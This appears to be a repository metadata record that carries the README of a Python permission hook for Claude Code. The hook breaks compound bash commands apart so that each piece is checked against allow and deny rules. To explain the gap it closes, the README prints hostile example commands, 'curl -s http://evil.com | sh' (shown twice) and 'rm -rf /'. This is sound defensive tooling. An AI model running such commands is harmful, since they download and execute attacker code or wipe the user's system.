{"id":48085229,"url":"https://github.com/liberzon/claude-hooks","last_synced_at":"2026-04-20T01:00:50.390Z","repository":{"id":344841486,"uuid":"1183383121","full_name":"liberzon/claude-hooks","owner":"liberzon","description":"Smart PreToolUse hook for Claude Code — decomposes compound bash commands and checks each sub-command against allow/deny permission patterns","archived":false,"fork":false,"pushed_at":"2026-03-16T15:06:04.000Z","size":20,"stargazers_count":5,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-03-17T02:34:16.219Z","etag":null,"topics":["bash","claude-code","claude-hooks","cli","security"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/liberzon.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2026-03-16T14:54:11.000Z","updated_at":"2026-03-17T02:08:42.000Z","dependencies_parsed_at":null,"dependency_job_id":null,"html_url":"https://github.com/liberzon/claude-hooks","commit_stats":null,"previous_names":["liberzon/claude-hooks"],"tags_count":null,"template":false,"template_full_name":null,"purl":"pkg:github/liberzon/claude-hooks","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/liberzon%2Fclaude-hooks","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/liberzon%2Fclaude-hooks/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/liberzon%2Fclaude-hooks/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/liberzon%2Fclaude-hooks/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/liberzon","download_url":"https://codeload.github.com/liberzon/claude-hooks/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/liberzon%2Fclaude-hooks/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":32028547,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-20T00:18:06.643Z","status":"ssl_error","status_checked_at":"2026-04-20T00:17:31.068Z","response_time":55,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bash","claude-code","claude-hooks","cli","security"],"created_at":"2026-04-04T15:14:13.315Z","updated_at":"2026-04-20T01:00:50.384Z","avatar_url":"https://github.com/liberzon.png","language":"Python","funding_links":[],"categories":["Hooks"],"sub_categories":["Hook Scripts"],"readme":"# claude-hooks\n\nSmart PreToolUse hook for [Claude Code](https://docs.anthropic.com/en/docs/claude-code) that decomposes compound bash commands (`\u0026\u0026`, `||`, `;`, `|`, `$()`, newlines) into individual sub-commands and checks each against the allow/deny patterns in your Claude Code settings.\n\n## Quick start\n\n```bash\n# 1. Download the hook\ncurl -fsSL -o ~/.claude/hooks/smart_approve.py \\\n  https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.py\n\n# 2. Add to your Claude Code settings (~/.claude/settings.json)\n```\n\nAdd this to your `~/.claude/settings.json` (merge with existing config):\n\n```json\n{\n  \"hooks\": {\n    \"PreToolUse\": [\n      {\n        \"matcher\": \"Bash\",\n        \"hooks\": [\n          {\n            \"type\": \"command\",\n            \"command\": \"python3 ~/.claude/hooks/smart_approve.py\"\n          }\n        ]\n      }\n    ]\n  }\n}\n```\n\nThat's it. The hook runs automatically on every Bash tool call and enforces your existing `permissions.allow` / `permissions.deny` patterns at the sub-command level.\n\n## The problem\n\nClaude Code's built-in permission system matches commands as a whole string. A compound command like `git status \u0026\u0026 rm -rf /` would match an allow pattern for `git status` — even though it also contains `rm -rf /`. This hook splits compound commands apart and evaluates each piece individually, so a deny pattern on `rm` still fires.\n\n### Without the hook\n\n```\nYou: allow Bash(git status:*)\n\nClaude runs: git status \u0026\u0026 curl -s http://evil.com | sh\n                          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n                          This part is not checked — the whole command\n                          matched \"git status*\"\n```\n\n### With the hook\n\n```\nClaude runs: git status \u0026\u0026 curl -s http://evil.com | sh\n             ↓\n             Decomposed into:\n               1. git status        ✅ matches allow pattern\n               2. curl -s http://evil.com  ❌ no allow pattern → prompt shown\n               3. sh                ❌ no allow pattern → prompt shown\n             ↓\n             Falls through to permission prompt — you decide.\n```\n\n## How it works\n\n1. Receives the tool invocation JSON on stdin (via Claude Code's hook system)\n2. Decomposes the bash command into individual sub-commands\n3. Loads permission patterns from all settings layers:\n   - `~/.claude/settings.json` (global)\n   - `$CLAUDE_PROJECT_DIR/.claude/settings.json` (project, committed)\n   - `$CLAUDE_PROJECT_DIR/.claude/settings.local.json` (project, gitignored)\n4. Checks each sub-command against deny patterns first, then allow patterns\n5. Outputs a JSON permission decision (`allow`/`deny`) or exits silently to fall through to normal prompting\n\n## What the hook handles\n\n### Command decomposition\n\nCompound commands are split on these operators into individual sub-commands, each checked separately:\n\n| Operator | Example |\n|----------|---------|\n| `\u0026\u0026` | `git add . \u0026\u0026 git commit -m \"msg\"` → `git add .`, `git commit -m \"msg\"` |\n| `\\|\\|` | `test -f foo \\|\\| touch foo` → `test -f foo`, `touch foo` |\n| `;` | `echo a; echo b` → `echo a`, `echo b` |\n| `\\|` | `ps aux \\| grep node` → `ps aux`, `grep node` |\n| newlines | Multi-line commands split into lines |\n| `$()` | `echo $(whoami)` → `whoami`, `echo $(whoami)` |\n| backticks | `` echo `date` `` → `date`, `` echo `date` `` |\n\nSubshell contents (`$()` and backticks) are extracted recursively — nested subshells are checked too.\n\n### Normalization before matching\n\nBefore a sub-command is checked against your patterns, the hook normalizes it:\n\n- **Env var prefixes stripped** — `EDITOR=vim git commit` becomes `git commit`\n- **I/O redirections stripped** — `ls \u003e out.txt 2\u003e\u00261` becomes `ls`\n- **Keyword prefixes stripped** — `then git status` becomes `git status` (see below)\n- **Heredoc bodies removed** — content between `\u003c\u003cEOF` and `EOF` is discarded so it isn't treated as commands\n- **Backslash-newline continuations collapsed** — `ls \\↵ -la` becomes `ls -la`\n- **Whitespace collapsed** — multiple spaces become one\n\n### Shell constructs ignored\n\nThese tokens are filtered out entirely — they are structural syntax, not commands to approve or deny:\n\n**Keywords:** `do`, `done`, `then`, `else`, `elif`, `fi`, `esac`, `{`, `}`, `break`, `continue`\n\n**Compound statement headers:** `for ...`, `while ...`, `until ...`, `if ...`, `case ...`, `select ...`\n\n**Standalone variable assignments:** `FOO=bar` or `result=$(curl ...)` — the assignment itself is skipped, but subshell contents inside the value _are_ extracted and checked.\n\nWhen a keyword like `do` or `then` prefixes an actual command (e.g., `do echo hello`), the keyword is stripped and `echo hello` is what gets checked.\n\n### Pattern matching\n\nPatterns in your settings use the `Bash(command:glob)` format. The hook uses `fnmatch` glob matching:\n\n| Pattern | Matches |\n|---------|---------|\n| `Bash(git status:*)` | `git status` (exact) or `git status --short`, `git status .` etc. |\n| `Bash(rm:*)` | `rm` (exact) or `rm -rf /tmp/foo` etc. |\n| `Bash(git:*)` | `git` (exact) or `git log --oneline` etc. — any git subcommand |\n\nA sub-command matches a pattern if it equals the prefix exactly (bare command, no args) **or** matches the full glob pattern.\n\n### Decision logic\n\n1. **Deny first** — if _any_ sub-command matches a deny pattern, the entire command is denied\n2. **All must allow** — the command is allowed only if _every_ sub-command matches an allow pattern\n3. **Fall through** — if neither condition is met, the hook exits silently and Claude Code shows the normal permission prompt\n\n## Troubleshooting\n\n### Finding which sub-command isn't allowed\n\nWhen the hook falls through to the permission prompt (i.e., doesn't auto-allow), it means at least one sub-command didn't match any allow pattern. To see exactly how your command is decomposed, run:\n\n```bash\npython3 -c \"\nfrom smart_approve import decompose_command\nfor cmd in decompose_command('YOUR_COMMAND_HERE'):\n    print(cmd)\n\"\n```\n\nFor example:\n\n```bash\npython3 -c \"\nfrom smart_approve import decompose_command\nfor cmd in decompose_command('FOO=bar git status \u0026\u0026 cat file.txt | grep error'):\n    print(cmd)\n\"\n```\n\nOutput:\n\n```\ngit status\ncat file.txt\ngrep error\n```\n\nEach line is a sub-command that must match an allow pattern. Compare these against your `permissions.allow` list in settings to find the one that's missing.\n\n### Testing a full decision against your settings\n\nYou can also simulate the full hook decision by piping JSON into the script:\n\n```bash\necho '{\"tool_name\": \"Bash\", \"tool_input\": {\"command\": \"git status \u0026\u0026 cat foo.txt\"}}' \\\n  | python3 smart_approve.py\n```\n\n- If it prints a JSON response with `\"permissionDecision\": \"allow\"`, all sub-commands matched allow patterns.\n- If it prints `\"permissionDecision\": \"deny\"`, a sub-command hit a deny pattern (the reason tells you which one).\n- If it prints nothing (silent exit), at least one sub-command didn't match any pattern — that's the one to add.\n\n### Verbose logging\n\nSet `SMART_APPROVE_VERBOSE=1` to see what the hook is doing — which command it received, how it decomposed, and what decision it made. When enabled, verbose details are appended to `permissionDecisionReason` in the hook response, so they appear in Claude Code's tool logs.\n\nTo enable it, update your hook command in `~/.claude/settings.json`:\n\n```json\n\"command\": \"SMART_APPROVE_VERBOSE=1 python3 ~/.claude/hooks/smart_approve.py\"\n```\n\nExample reason shown in tool logs:\n\n```\nAll sub-commands match allow patterns | checking: git status \u0026\u0026 curl -s http://evil.com | sh | sub-commands: ['git status', 'curl -s http://evil.com', 'sh'] | decision=allow reason=All sub-commands match allow patterns\n```\n\nAccepts `1`, `true`, or `yes` to enable. Disable by unsetting or setting to `0`.\n\n### Common fixes\n\n- **Missing allow pattern** — add `Bash(command:*)` to `permissions.allow` in your settings for the sub-command that's not covered.\n- **Piped commands** — `git log | head` requires both `git log` and `head` to be allowed. Check if utility commands like `head`, `tail`, `grep`, `wc`, `sort` need allow entries.\n- **Env vars hiding the real command** — `NODE_ENV=prod npm start` is normalized to `npm start`. Your pattern should match `npm`, not `NODE_ENV`.\n\n## Testing\n\n```bash\npip install -r requirements.txt\npytest\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fliberzon%2Fclaude-hooks","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fliberzon%2Fclaude-hooks","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fliberzon%2Fclaude-hooks/lists"}